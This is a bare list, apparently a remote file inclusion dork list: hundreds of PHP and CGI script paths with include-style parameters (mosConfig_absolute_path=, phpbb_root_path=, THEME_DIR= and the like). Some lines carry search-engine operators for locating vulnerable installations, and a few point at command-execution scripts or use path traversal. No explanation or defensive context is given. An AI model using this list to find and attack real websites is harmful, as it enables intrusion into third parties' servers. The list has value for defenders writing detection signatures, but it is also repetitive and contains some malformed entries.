index.php?cmd=
index3.php?disp=
index3.php?left=
sub*.php?middle=
show.php?modo=
index1.php?pagina=
head.php?left=
enter.php?phpbb_root_path=
show.php?z=
start.php?basepath=
blank.php?strona=
template.php?y=
page.php?where=
layout.php?category=
index1.php?my=
principal.php?phpbb_root_path=
nota.php?channel=
page.php?choix=
start.php?xlink=
home.php?k=
standard.php?phpbb_root_path=
principal.php?middlePart=
mod*.php?m=
index.php?recipe=
template.php?path=
pagina.php?dir=
sitio.php?abre=
index1.php?recipe=
blank.php?page=
sub*.php?category=
*inc*.php?body=
enter.php?middle=
home.php?path=
down*.php?pre=
base.php?w=
main.php?path=
nota.php?ir=
press.php?link=
gery.php?pollname=
down*.php?open=
down*.php?pageweb=
default.php?eval=
view.php?showpage=
show.php?get=
sitio.php?tipo=
layout.php?cont=
default.php?destino=
padrao.php?seccion=
down*.php?r=
main.php?param=
standard.php?e=
down*.php?in=
nota.php?include=
sitio.php?secao=
print.php?my=
general.php?abre=
general.php?link=
default.php?id=
standard.php?panel=
show.php?channel=
enter.php?r=
index3.php?phpbb_root_path=
gery.php?where=
head.php?middle=
sub*.php?load=
gery.php?sp=
show.php?chapter=
sub*.php?b=
general.php?adresa=
print.php?goto=
sub*.php?sp=
template.php?doshow=
padrao.php?base_dir=
index2.php?my=
include.php?w=
start.php?op=
main.php?section=
view.php?header=
layout.php?menue=
head.php?y=
sub*.php?content=
show.php?type=
base.php?id=
mod*.php?qry=
default.php?strona=
sitio.php?chapter=
gery.php?index=
nota.php?h=
page.php?oldal=
enter.php?panel=
blank.php?t=
start.php?pollname=
sub*.php?module=
enter.php?thispage=
mod*.php?index=
sitio.php?r=
sub*.php?play=
index2.php?doshow=
index2.php?chapter=
show.php?path=
gery.php?to=
info.php?base_dir=
gery.php?abre=
gery.php?pag=
view.php?channel=
default.php?mod=
index.php?op=
general.php?pre=
padrao.php?type=
template.php?pag=
standard.php?pre=
blank.php?ref=
down*.php?z=
general.php?inc=
home.php?read=
pagina.php?section=
default.php?basepath=
index.php?pre=
sitio.php?pageweb=
base.php?seite=
*inc*.php?j=
index2.php?filepath=
file.php?type=
index1.php?oldal=
index2.php?second=
index3.php?sekce=
info.php?filepath=
base.php?opcion=
path.php?category=
index3.php?start=
start.php?rub=
*inc*.php?i=
blank.php?pre=
general.php?channel=
index2.php?OpenPage=
page.php?section=
mod*.php?middle=
index1.php?goFile=
blank.php?action=
principal.php?loader=
sub*.php?op=
main.php?addr=
start.php?mid=
gery.php?secao=
pagina.php?tipo=
index.php?w=
head.php?where=
principal.php?tipo=
press.php?loader=
gery.php?showpage=
gery.php?go=
enter.php?start=
press.php?lang=
general.php?p=
index.php?sekce=
index2.php?get=
sitio.php?go=
include.php?cont=
sub*.php?where=
index3.php?index=
path.php?recipe=
info.php?loader=
print.php?sp=
page.php?phpbb_root_path=
path.php?body=
principal.php?menue=
print.php?cont=
pagina.php?z=
default.php?mid=
blank.php?xlink=
sub*.php?oldal=
general.php?b=
include.php?left=
print.php?sivu=
press.php?OpenPage=
default.php?cont=
general.php?pollname=
template.php?nivel=
enter.php?page=
file.php?middle=
standard.php?str=
gery.php?get=
main.php?v=
down*.php?subject=
enter.php?sivu=
path.php?option=
index.php?strona=
index1.php?choix=
index2.php?f=
press.php?destino=
pagina.php?channel=
principal.php?b=
home.php?include=
head.php?numero=
general.php?ref=
main.php?dir=
gery.php?cont=
principal.php?type=
file.php?param=
default.php?secao=
path.php?pageweb=
info.php?r=
base.php?phpbb_root_path=
main.php?itemnav=
view.php?pg=
pagina.php?choix=
default.php?itemnav=
index2.php?cmd=
layout.php?url=
index.php?path=
index1.php?second=
start.php?modo=
index1.php?get=
index3.php?my=
sub*.php?left=
print.php?inc=
view.php?type=
path.php?*[*]*=
base.php?adresa=
index3.php?oldal=
standard.php?body=
base.php?path=
principal.php?strona=
info.php?l=
template.php?left=
head.php?loc=
page.php?ir=
print.php?path=
down*.php?path=
sitio.php?opcion=
pagina.php?category=
press.php?menu=
index2.php?pref=
sitio.php?incl=
show.php?ki=
index3.php?x=
page.php?strona=
*inc*.php?open=
index3.php?secao=
standard.php?*[*]*=
template.php?basepath=
standard.php?goFile=
index2.php?ir=
file.php?modo=
gery.php?itemnav=
main.php?oldal=
down*.php?showpage=
start.php?destino=
blank.php?rub=
path.php?ir=
layout.php?var=
index1.php?texto=
start.php?pg=
index1.php?showpage=
info.php?go=
path.php?load=
index3.php?abre=
blank.php?where=
info.php?start=
page.php?secao=
nota.php?pag=
nota.php?second=
index2.php?to=
standard.php?name=
start.php?strona=
mod*.php?numero=
press.php?home=
info.php?z=
mod*.php?path=
blank.php?base_dir=
base.php?texto=
nota.php?secc=
index.php?tipo=
index.php?goto=
print.php?pag=
view.php?secao=
general.php?strona=
show.php?my=
page.php?e=
padrao.php?index=
gery.php?thispage=
start.php?base_dir=
default.php?tipo=
gery.php?panel=
standard.php?ev=
standard.php?destino=
general.php?middle=
main.php?basepath=
standard.php?q=
index1.php?tipo=
mod*.php?choix=
template.php?ir=
show.php?adresa=
general.php?mid=
index3.php?adresa=
pagina.php?sec=
template.php?secao=
home.php?w=
general.php?content=
sub*.php?recipe=
main.php?category=
enter.php?viewpage=
main.php?ir=
show.php?pageweb=
principal.php?ir=
default.php?pageweb=
index.php?oldal=
head.php?d=
gery.php?mid=
index.php?type=
standard.php?j=
show.php?oldal=
enter.php?link=
enter.php?content=
blank.php?filepath=
standard.php?channel=
base.php?*[*]*=
info.php?incl=
down*.php?include=
press.php?modo=
file.php?choix=
press.php?type=
blank.php?goto=
index3.php?showpage=
principal.php?subject=
start.php?chapter=
show.php?r=
pagina.php?thispage=
general.php?chapter=
page.php?base_dir=
page.php?qry=
show.php?incl=
page.php?*[*]*=
main.php?h=
file.php?seccion=
default.php?pre=
principal.php?index=
principal.php?inc=
home.php?z=
pagina.php?in=
show.php?play=
nota.php?subject=
default.php?secc=
default.php?loader=
padrao.php?var=
mod*.php?b=
default.php?showpage=
press.php?channel=
pagina.php?ev=
sitio.php?name=
page.php?option=
press.php?mid=
down*.php?corpo=
view.php?get=
print.php?thispage=
principal.php?home=
show.php?param=
standard.php?sivu=
index3.php?panel=
include.php?play=
path.php?cmd=
file.php?sp=
template.php?section=
view.php?str=
blank.php?left=
nota.php?lang=
path.php?sivu=
main.php?e=
default.php?ref=
start.php?seite=
default.php?inc=
print.php?disp=
home.php?h=
principal.php?loc=
index3.php?sp=
gery.php?var=
sub*.php?base_dir=
path.php?middle=
pagina.php?str=
base.php?play=
base.php?v=
sitio.php?sivu=
main.php?r=
file.php?nivel=
start.php?sivu=
template.php?c=
general.php?second=
sub*.php?mod=
home.php?loc=
head.php?corpo=
standard.php?op=
index2.php?inc=
info.php?pref=
base.php?basepath=
print.php?basepath=
*inc*.php?m=
base.php?home=
layout.php?strona=
padrao.php?url=
sitio.php?oldal=
pagina.php?read=
index1.php?go=
standard.php?s=
page.php?eval=
index.php?j=
pagina.php?pr=
start.php?secao=
template.php?*[*]*=
nota.php?get=
index3.php?link=
home.php?e=
gery.php?name=
nota.php?eval=
sub*.php?abre=
index2.php?load=
principal.php?in=
view.php?load=
mod*.php?action=
default.php?p=
head.php?c=
template.php?viewpage=
view.php?mid=
padrao.php?addr=
view.php?go=
file.php?basepath=
home.php?pre=
include.php?goFile=
layout.php?play=
index1.php?subject=
info.php?middlePart=
down*.php?pg=
sub*.php?body=
index.php?option=
sub*.php?chapter=
default.php?t=
head.php?opcion=
nota.php?panel=
sitio.php?left=
show.php?include=
pagina.php?start=
head.php?choix=
index3.php?tipo=
index3.php?choix=
down*.php?channel=
base.php?pa=
nota.php?sekce=
show.php?l=
show.php?index=
blank.php?url=
start.php?thispage=
nota.php?play=
show.php?second=
enter.php?include=
principal.php?middle=
main.php?where=
padrao.php?link=
path.php?strona=
index3.php?read=
mod*.php?module=
standard.php?viewpage=
standard.php?pr=
*inc*.php?showpage=
pagina.php?ref=
path.php?pname=
padrao.php?mid=
info.php?eval=
include.php?path=
page.php?subject=
sub*.php?qry=
head.php?module=
nota.php?opcion=
head.php?abre=
base.php?str=
home.php?body=
gery.php?module=
head.php?sivu=
page.php?inc=
pagina.php?header=
mod*.php?v=
home.php?doshow=
padrao.php?n=
index1.php?chapter=
padrao.php?basepath=
index.php?r=
index3.php?seccion=
sitio.php?mid=
index.php?where=
general.php?type=
pagina.php?goto=
page.php?pa=
default.php?menue=
main.php?goto=
index1.php?abre=
info.php?seccion=
index2.php?pa=
layout.php?pageweb=
nota.php?disp=
index1.php?body=
default.php?nivel=
show.php?header=
down*.php?pag=
start.php?tipo=
standard.php?w=
index.php?open=
blank.php?menu=
general.php?nivel=
padrao.php?nivel=
*inc*.php?addr=
index.php?var=
home.php?redirect=
*inc*.php?link=
*inc*.php?incl=
padrao.php?corpo=
down*.php?url=
enter.php?goto=
down*.php?addr=
sub*.php?j=
principal.php?f=
sub*.php?menue=
index2.php?section=
general.php?my=
head.php?loader=
general.php?goto=
include.php?dir=
start.php?header=
blank.php?in=
base.php?name=
nota.php?goFile=
head.php?base_dir=
mod*.php?recipe=
press.php?pr=
padrao.php?*[*]*=
layout.php?opcion=
print.php?rub=
index.php?pr=
general.php?seite=
pagina.php?numero=
*inc*.php?pg=
nota.php?rub=
view.php?seite=
pagina.php?recipe=
index.php?pref=
page.php?action=
page.php?ev=
show.php?ir=
head.php?index=
mod*.php?pname=
view.php?ir=
*inc*.php?start=
principal.php?rub=
principal.php?corpo=
padrao.php?middle=
base.php?pname=
template.php?header=
view.php?sp=
main.php?name=
nota.php?m=
blank.php?open=
head.php?dir=
page.php?pname=
*inc*.php?k=
index.php?pollname=
head.php?oldal=
index1.php?str=
template.php?choix=
down*.php?pollname=
page.php?recipe=
template.php?corpo=
nota.php?sec=
info.php?*[*]*=
sub*.php?*[*]*=
page.php?q=
index1.php?type=
gery.php?y=
standard.php?lang=
gery.php?page=
index.php?action=
press.php?pname=
down*.php?v=
index3.php?second=
show.php?recipe=
main.php?pre=
file.php?numero=
print.php?str=
standard.php?link=
nota.php?OpenPage=
view.php?pollname=
print.php?l=
index.php?go=
standard.php?numero=
view.php?pr=
down*.php?read=
down*.php?action=
index1.php?OpenPage=
principal.php?left=
mod*.php?start=
file.php?body=
gery.php?pg=
blank.php?qry=
base.php?eval=
default.php?left=
gery.php?param=
blank.php?pa=
nota.php?b=
path.php?loader=
start.php?o=
include.php?include=
nota.php?corpo=
enter.php?second=
sub*.php?pname=
mod*.php?pageweb=
principal.php?addr=
standard.php?action=
template.php?lang=
include.php?basepath=
sub*.php?ir=
down*.php?nivel=
path.php?opcion=
print.php?category=
print.php?menu=
layout.php?secao=
template.php?param=
standard.php?ref=
base.php?include=
blank.php?body=
path.php?pref=
print.php?g=
padrao.php?subject=
nota.php?modo=
index3.php?loader=
template.php?seite=
general.php?pageweb=
index2.php?param=
path.php?nivel=
page.php?pref=
press.php?pref=
enter.php?ev=
standard.php?middle=
index2.php?recipe=
blank.php?dir=
home.php?pageweb=
view.php?panel=
down*.php?home=
head.php?ir=
mod*.php?ir=
show.php?pagina=
default.php?base_dir=
show.php?loader=
path.php?mid=
blank.php?abre=
down*.php?choix=
info.php?opcion=
page.php?loader=
principal.php?oldal=
index1.php?load=
home.php?content=
pagina.php?sekce=
file.php?n=
include.php?redirect=
print.php?itemnav=
enter.php?index=
print.php?middle=
sitio.php?goFile=
head.php?include=
enter.php?e=
index.php?play=
enter.php?id=
view.php?mod=
show.php?nivel=
file.php?channel=
layout.php?choix=
info.php?body=
include.php?go=
index3.php?nivel=
sub*.php?include=
path.php?numero=
principal.php?header=
main.php?opcion=
enter.php?s=
sub*.php?pre=
include.php?index=
gery.php?pageweb=
padrao.php?path=
info.php?url=
press.php?ev=
index1.php?pg=
print.php?in=
general.php?modo=
head.php?ki=
press.php?my=
index1.php?pollname=
principal.php?to=
default.php?play=
page.php?g=
nota.php?pg=
blank.php?destino=
blank.php?z=
components/com_phpshop/toolbar.phpshop.html.php?mosConfig_absolute_path=
module_db.php?pivot_path= module_db.php?pivot_path="
/classes/adodbt/sql.php?classes_dir= /classes/adodbt/sql.php?classes_dir="
components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path=
com_extended_registration
smarty_config.php?root_dir= "smarty"
include/editfunc.inc.php?NWCONF_SYSTEM[server_path]= site:.gr
send_reminders.php?includedir= "send_reminders.php?includedir="
components/com_rsgery/rsgery.html.php?mosConfig_absolute_path= com_rsgery
inc/functions.inc.php?config[ppa_root_path]= "Index – Albums" index.php
/components/com_cpg/cpg.php?mosConfig_absolute_path= com_cpg"
[Script Path]/admin/index.php?o= admin/index.php";
/admin/index.php?o= admin/index.php";
/modules/coppermine/themes/coppercop/theme.php?THEME_DIR= coppermine
/components/com_extcalendar/admin_events.php?CONFIG_EXT[LANGUAGES_DIR]= com_extcalendar
admin/doeditconfig.php?thispath=../includes&config[path]= "admin"
/components/com_simpleboard/image_upload.php?sbp= com_simpleboard"
components/com_simpleboard/image_upload.php?sbp= com_simpleboard"
/modules/coppermine/themes/coppercop/theme.php?THEME_DIR= coppermine
mwchat/libs/start_lobby.php?CONFIG[MWCHAT_Libs]=
zentrack/index.php?configFile=
inst/index.php?lng=../../include/main.inc&G_PATH=
pivot/modules/module_db.php?pivot_path=
include/write.php?dir=
includes/header.php?systempath=
becommunity/community/index.php?pageurl=
agendax/addevent.inc.php?agendax_path=
myPHPCalendar/admin.php?cal_dir=
yabbse/Sources/Packages.php?sourcedir=
zboard/zboard.php
path_of_cpcommerce/_functions.php?prefix
dotproject/modules/projects/addedit.php?root_dir=
dotproject/modules/projects/view.php?root_dir=
dotproject/modules/projects/vw_files.php?root_dir=
dotproject/modules/tasks/addedit.php?root_dir=
dotproject/modules/tasks/viewgantt.php?root_dir=
My_eGery/public/displayCategory.php?basepath=
modules/My_eGery/public/displayCategory.php?basepath=
modules/4nAlbum/public/displayCategory.php?basepath=
modules/coppermine/themes/default/theme.php?THEME_DIR=
modules/agendax/addevent.inc.php?agendax_path=
modules/xoopsgery/upgrade_album.php?GERY_BASEDIR=
modules/xgery/upgrade_album.php?GERY_BASEDIR=
modules/coppermine/include/init.inc.php?CPG_M_DIR=
shoutbox/expanded.php?conf=
library/editor/editor.php?root=
library/lib.php?root=
e107/e107_handlers/secure_img_render.php?p=
main.php?x=
*default.php?page=
*default.php?body=
*index.php?url=
*index.php?arquivo=
index.php?include=
index.php?visualizar=
index.php?pagina=
index.php?page=
index.php?p=
index.php?cont=
index.php?x=
index.php?cat=
index.php?site=
index.php?configFile=
index.php?do=
index2.php?x=
Index.php?id=
template.php?pagina
inc/step_one_tables.php?server_inc=
GradeMap/index.php?page=
admin.php?cal_dir=
path_of_cpcommerce/_functions.php?prefix=
contacts.php?cal_dir=
convert-date.php?cal_dir=
album_portal.php?phpbb_root_path=
mainfile.php?MAIN_PATH=
dotproject/modules/files/index_table.php?root_dir=
gery/init.php?HTTP_POST_VARS=
pm/lib.inc.php?pm_path=
ideabox/include.php?gorumDir=
cgi-bin/index.cgi?page=
cgi-bin/awstats.pl?update=1&logfile=
cgi-bin/awstats/awstats.pl?configdir
cgi-bin/ikonboard.cgi
cgi-bin/acart/acart.pl?&page=
cgi-bin/quikstore.cgi?category=
cgi-bin/ubb/ubb.cgi?g=
cgi-bin/hinsts.pl?
cgi-bin/bp/bp-lib.pl?g=
ccbill/whereami.cgi?g=ls
cgi-bin/telnet.cgi
cgi-bin/1/cmd.cgi
calendar.pl?command=login&fromTemplate=
encore/forumcgi/display.cgi?preftemp=temp&page=anonymous&file=
events.cgi?t=
powerup.cgi?a=latest&t=
lc.cgi?a=
news.cgi?a=114&t=
biznews.cgi?a=33&t=
jobs.cgi?a=9&t=
articles.cgi?a=34&t=
events.cgi?a=155&t=
latinbitz.cgi?t=
newsdesk.cgi?t=
media.cgi?a=11&t=
reporter.cgi?t=
news.cgi?t=
newsupdate.cgi?a=latest&t=
deportes.cgi?a=latest&t=
news.cgi?a=latest&t=
whereami.cgi?g=id
auktion.pl?menue=
i-m/i-m.cgi?p=
vote.pl?action=show&id=
shop.pl/page=
newsdesk.cgi?a=latest&t=
fileseek.cgi?head=&foot=
cgi-bin/probe.cgi?olddat=
emsgb/easymsgb.pl?print=
app/webeditor/login.cgi?username=&command=simple&do=edit&password=&file=
csv_db/csv_db.cgi?fil e=file.extention
cgi-bin/jammail.pl?job=showoldmail&mail=
cgi-bin/bbs/read.cgi?file=
support_page.cgi?file_name=
index.php?include=
index.php?open=
index.php?visualizar=
main.php?x=
main.php?page=
index.php?meio.php=
index.php?page=
index.php?action=
index5.php?configFile=
index5.php?page=
index5.php?content=
index5.php?x=
index5.php?open=
index5.php?m=
index5.php?site=
index5.php?cat=
index.php?d=
index.php?a=
index.php?b=
index.php?c=
index.php?e=
index.php?f=
index.php?g=
index.php?h=
index.php?i=
index.php?j=
index.php?k=
index.php?l=
index.php?m=
index.php?n=
index.php?o=
index.php?p=
index.php?q=
index.php?r=
index.php?s=
index.php?t=
index.php?u=
index.php?v=
index.php?x=
index.php?y=
index.php?z=
index.php?loc=
index.php?seite=
index2.php?d=
index2.php?a=
index.php?ir=
index.php?secao=
index2.php?b=
index2.php?c=
index2.php?e=
index2.php?f=
index2.php?g=
index2.php?h=
index2.php?i=
index2.php?j=
index2.php?k=
index2.php?l=
index2.php?m=
index2.php?n=
index2.php?o=
index2.php?p=
index2.php?q=
index2.php?r=
index2.php?s=
index2.php?t=
index2.php?u=
index2.php?v=
index2.php?x=
index2.php?y=
index2.php?z=
index5.php?inc=
index5.php?pg=
index5.php?lv1=
index.php?sub=
index.php?sub2=
index.php?pg=
index.php?lv1=
index.php?directfile=
index.php?funcion=
index.php?ll=
index.php?lnk=
index5.php?main=
index5.php?include=
index5.php?root=
index5.php?pagina=
index.php?theme=
index.php?acao=
index5.php?cont=
index5.php?pag=
index5.php?p=
index5.php?lang=
index5.php?language=
template.php?pagina=
llindex.php?sub=
index2.php?pg=
index2.php?lv1=
index2.php?sub=
index2.php?directfile=
index2.php?funcion=
index2.php?sub2=
index2.php?ll=
index2.php?lnk=
index5.php?body=
index5.php?visualizar=
index5.php?do=
index2.php?theme=
index2.php?acao=
index2:php?aa=
index3:php?aa=
index.php?server=
index.php?cal=
index.php?prefix=
index.php?root_PATH=
index.php?path=
index.php?gorumdir=
index2.php?cont=
index2.php?server=
index2.php?cal=
index2.php?prefix=
index2.php?root_PATH=
index2.php?path= AKI
exibir.php?abre=
exibir.php?page=
exibir.php?get=
exibir.php?p=
exibir.php?lang=
index2.php?gorumdir=
index2.php?pag=
index2.php?lang=
index2.php?language=
index2.php?content=
index.php?middle=
step_one_tables.php?server_inc=
grademade/index.php?page=
phpshop/index.php?base_dir=
admin.php?cal_dir=
_functions.php?prefix=
contacts.php?cal_dir=
convert-date.php?cal_dir=
album_portal.php?phpbb_root_path=
mainfile.php?MAIN_PATH=
index_table.php?root_dir=
affich.php?base=
init.php?HTTP_POST_VARS=
lib.inc.php?pm_path=
include.php?gorumDir=
start_lobby.php?CONFIG[MWCHAT_Libs]=
index.php?configFile=
module_db.php?pivot_path=
index.php?lng=../../include/main.inc&G_PATH=
initdb.php?absolute_path=
step_one.php?server_inc=
pipe.php?HCL_path=
write.php?dir=
new-visitor.inc.php?lvc_include_dir=
header.php?systempath=
theme.php?THEME_DIR=
index.php?pageurl=
expanded.php?conf=
addevent.inc.php?agendax_path=
Packages.php?sourcedir=
_functions.php?prefix
addedit.php?root_dir=
view.php?root_dir=
vw_files.php?root_dir=
viewgantt.php?root_dir=
displayCategory.php?basepath=
default/theme.php?THEME_DIR=
upgrade_album.php?GERY_BASEDIR=
init.inc.php?CPG_M_DIR=
mod_mainmenu.php?mosConfig_absolute_path=
editor.php?root=
lib.php?root=
secure_img_render.php?p=
default.php?page=
arquivo.php?data=
word.php?id=
mod.php?mod=
index.php?plugin=
sendpage.php?page=
index.php?hl=
modules.php?op=
index.php?templateid=
article.php?sid=
.php?my="
.php?a="
.php?f="
.php?z="
.php?zo="
.php?la="
.php?perm="
.php?item_id="
.php?f_content="
.php?from="
.php?mid="
.php?lest="
.php?east="
.gov.br/index.php?arquivo=
index.php?ver=
/contenido/classes/class.inuse.php
news.php?CONFIG[script_path]=
index.php?vpagina=
index.php?arq=
index.php?pg_ID=
index.php?pg=
home.php?page=
*/newbb/print.php?forum=*topic_id=*"
*/newbb_plus/*="
*/news/archive.php?op=*year=*month=*"
.php?abrir="
.php?act="
.php?action="
.php?ad="
.php?archive="
.php?area="
.php?article="
.php?b="
*/tsep/include/colorswitch.php?tsep_config[absPath]=*"
.php?back="
.php?base="
.php?basedir="
.php?bbs="
.php?board_no="
.php?body="
.php?c="
.php?cal_dir="
.php?cat="
/include/init.inc.php?CPG_M_DIR="
/includes/mx_functions_ch.php?phpbb_root_path="
/modules/MyGuests/signin.php?_AMGconfig[cfg_serverpath]="
.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path="
.php?subd="
.php?subdir="
.php?category="
.php?choice="
.php?class="
.php?club_id="
.php?cod.tipo="
.php?cod="
.php?conf="
.php?configFile="
.php?cont="
.php?corpo="
.php?cvsroot="
.php?d="
.php?da="
.php?date="
.php?debug="
.php?debut="
.php?default="
.php?destino="
.php?dir="
.php?display="
.php?file_id="
.php?file="
.php?filepath="
.php?flash="
.php?folder="
.php?for="
.php?form="
.php?formatword="
.php?funcao="
.php?function="
.php?g="
.php?get="
.php?go="
.php?gorumDir="
.php?goto="
.php?h="
.php?headline="
.php?i="
.php?inc="
.php?include="
.php?includedir="
.php?inter="
.php?itemid="
.php?j="
.php?join="
.php?jojo="
.php?l="
.php?lan="
.php?lang="
.php?link="
.php?load="
.php?loc="
.php?m="
.php?main="
.php?meio.php="
.php?meio="
.php?menu="
.php?menuID="
.php?mep="
.php?month="
.php?mostra="
.php?n="
.php?name="
.php?nav="
.php?new="
.php?news="
.php?next="
.php?nextpage="
.php?o="
.php?op="
.php?open="
.php?option="
.php?origem="
.php?Page_ID="
.php?pageurl="
.php?para="
.php?part="
.php?pg="
.php?pid="
.php?place="
.php?play="
.php?plugin="
.php?pm_path="
.php?pollname="
.php?post="
.php?pr="
.php?prefix="
.php?prefixo="
.php?q="
.php?redirect="
.php?ref="
.php?refid="
.php?regionId="
.php?release_id="
.php?release="
.php?return="
.php?root="
.php?S="
.php?searchcode_id="
.php?sec="
.php?secao="
.php?sect="
.php?sel="
.php?server="
.php?servico="
.php?sg="
.php?shard="
.php?show="
.php?sid="
.php?site="
.php?sourcedir="
.php?start="
.php?storyid="
.php?str="
.php?subject="
.php?sufixo="
.php?systempath="
.php?t="
.php?task="
.php?teste="
.php?theme_dir="
.php?thread_id="
.php?tid="
.php?title="
.php?to="
.php?topic_id="
.php?type="
.php?u="
.php?url="
.php?urlFrom="
.php?v="
.php?var="
.php?vi="
.php?view="
.php?visual="
.php?wPage="
.php?y="
/components/com_forum/download.php?phpbb_root_path= com_forum
[Script Path]/admin/index.php?o= admin/index.php"
/admin/index.php?o= admin/index.php"
index.php?menu=deti&page= index.php?menu=deti&page"
include/editfunc.inc.php?NWCONF_SYSTEM[server_path]= intitle:Newswriter
/classes/adodbt/sql.php?classes_dir= "index2.php?option=rss"
components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path= com_extended_registration
index.php?RP_PATH= reviewpost
index.php?pagename= phpquiz
administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path= /com_remository/
/components/com_extcalendar/admin_events.php?CONFIG_EXT[LANGUAGES_DIR]= com_extcalendar
components/com_phpshop/toolbar.phpshop.html.php?mosConfig_absolute_path= "com_phpshop"
/tools/send_reminders.php?includedir= day.php?date=
SQuery/lib/gore.php?libpath= "/SQuery/"
m2f/m2f_phpbb204.php?m2f_root_path= /m2f_usercp.php?
wamp_dir/setup/yesno.phtml?no_url= "setup"
components/com_forum/download.php?phpbb_root_path= "com_forum"
index.php?p= "/index.php?p=*.php"
index.php?pag= "/index.php?pag=*.php"
template.php?page= "/template.php?page=*.php"
main.php?page= "/main.php?page=*.php"
index2.php?pag= "/index2.php?pag=*.php"
home.php?pag= "/home.php?pag=*.php"
index.php?page= "/index.php?page=*.php"
default.php?page= "/default.php?page=*.php"
inc/cmses/aedatingCMS.php?dir[inc]= "flashchat"
/modules/vwar/admin/admin.php?vwar_root= vwar
bb_usage_stats/include/bb_usage_stats.php?phpbb_root_path= forum
encapscms_PATH/core/core.php?root= encapscms_PATH
inc/session.php?sessionerror=0&lang= inc
path/index.php?function=custom&custom= path
[MyAlbum_DIR]/language.inc.php?langs_dir= [MyAlbum_DIR]
/inc/irayofuncs.php?irayodirhack= "/inc/"
index.php?function=custom&custom= custom
cyberfolio/portfolio/msg/view.php?av= cyberfolio
/modules/kernel/system/startup.php?CFG_PHPGIGGLE_ROOT= CFG_PHPGIGGLE_ROOT
*mwchat/libs/start_lobby.php?CONFIG[MWCHAT_Libs]=
*pivot/modules/module_db.php?pivot_path=
*inc/header.php/step_one.php?server_inc=
*inst/index.php?lng=../../include/main.inc&G_PATH=
*inc/pipe.php?HCL_path=
*include/new-visitor.inc.php?lvc_include_dir=
*includes/header.php?systempath=
*support/mailling/maillist/inc/initdb.php?absolute_path=
*coppercop/theme.php?THEME_DIR=
*zentrack/index.php?configFile=
*include/write.php?dir=
include/new-visitor.inc.php?lvc_include_dir=
includes/header.php?systempath=
support/mailling/maillist/inc/initdb.php?absolute_path=
coppercop/theme.php?THEME_DIR=
becommunity/community/index.php?pageurl=
shoutbox/expanded.php?conf=
agendax/addevent.inc.php?agendax_path=
myPHPCalendar/admin.php?cal_dir=
yabbse/Sources/Packages.php?sourcedir=
zboard/zboard.php
path_of_cpcommerce/_functions.php?prefix
dotproject/modules/tasks/viewgantt.php?root_dir=
My_eGery/public/displayCategory.php?basepath=
modules/My_eGery/public/displayCategory.php?basepath=
modules/4nAlbum/public/displayCategory.php?basepath=
modules/coppermine/themes/default/theme.php?THEME_DIR=
modules/agendax/addevent.inc.php?agendax_path=
modules/xoopsgery/upgrade_album.php?GERY_BASEDIR=
modules/xgery/upgrade_album.php?GERY_BASEDIR=
modules/coppermine/include/init.inc.php?CPG_M_DIR=
modules/mod_mainmenu.php?mosConfig_absolute_path=
pivot/modules/module_db.php?pivot_path=
library/editor/editor.php?root=
library/lib.php?root=
e107/e107_handlers/secure_img_render.php?p=
main.php?x=
main.php?page=
*default.php?page=
*default.php?body=
default.php?page=
*index.php?url=
*index.php?arquivo=
index.php?meio.php=
index.php?include=
index.php?open=
index.php?visualizar=
index.php?pagina=
index.php?inc=
index.php?page=
index.php?pag=
index.php?p=
index.php?content=
index.php?cont=
index.php?c=
index.php?meio=
index.php?x=
index.php?cat=
index.php?site=
index.php?configFile=
index.php?action=
index.php?do=
index2.php?x=
Index.php?id=
index2.php?content=
template.php?pagina
inc/step_one_tables.php?server_inc=
phpshop/index.php?base_dir=
admin.php?cal_dir=
path_of_cpcommerce/_functions.php?prefix=
contacts.php?cal_dir=
convert-date.php?cal_dir=
album_portal.php?phpbb_root_path=
mainfile.php?MAIN_PATH=
dotproject/modules/files/index_table.php?root_dir=
html/affich.php?base=
gery/init.php?HTTP_POST_VARS=
pm/lib.inc.php?pm_path=
ideabox/include.php?gorumDir=
modules/tasks/viewgantt.php?root_dir=
cgi-bin/index.cgi?page=
cgi-bin/awstats.pl?update=1&logfile=
cgi-bin/awstats/awstats.pl?configdir
cgi-bin/ikonboard.cgi
cgi-bin/acart/acart.pl?&page=
cgi-bin/quikstore.cgi?category=
cgi-bin/ubb/ubb.cgi?g=
cgi-bin/hinsts.pl?
cgi-bin/bp/bp-lib.pl?g=
ccbill/whereami.cgi?g=ls
cgi-bin/telnet.cgi
cgi-bin/1/cmd.cgi
encore/forumcgi/display.cgi?preftemp=temp&page=anonymous&file=
cgi-sys/guestbook.cgi?user=cpanel&template=
account.php?action= account.php?action=
account.php?action= iurl:"account.php?action="
account.php?action= iurl:".php?action="
account.php?action= .php?action=
accounts.php?command= .php?command="
addmedia.php?factsfile[$LANGUAGE]= phpGedView
.php?p="
announcements.php?phpraid_dir= "phpraid"
announcements.php?phpraid_dir= "phpraid signup"
announcements.php?phpraid_dir= php raid
announcements.php?phpraid_dir= phpraid
announcements.php?phpraid_dir= phpraid signup
arg.php?arg= .php?arg=
args.php?arg= .php?arg=
atom.php5?page= .php5?id=
auto.php?inc= .php?inc="
auto.php?page= auto.php?page=
base.php?f1= base.php?f1="
base.php?f1= .php?f1="
board.php?see= board.php?see="
board.php?see= .php?see="
book.php5?page= php5?page=
/calendar.php?l= calendar.php?l="
/calendar.php?l= calendar.php?l=
/calendar.php?p= calendar.php?p="
/calendar.php?p= calendar.php?p=
/calendar.php?pg= calendar.php?pg="
/calendar.php?pg= calendar.php?pg=
/calendar.php?s= calendar.php?s="
/calendar.php?s= calendar.php?s=
/addpost_newpoll.php?addpoll=preview&thispath= /ubbthreads/"
/addpost_newpoll.php?addpoll=preview&thispath= /ubbthreads/
/addpost_newpoll.php?addpoll=preview&thispath= "/ubbthreads/"
/addpost_newpoll.php?addpoll=preview&thispath= "ubbthreads"
/addpost_newpoll.php?addpoll=preview&thispath= ubbthreads
administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path= "com_remository"
administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path= "com_remository
administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path= com_remository
administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path= index.php?option=com_remository
administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path= "Mambo"
administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path= Mambo
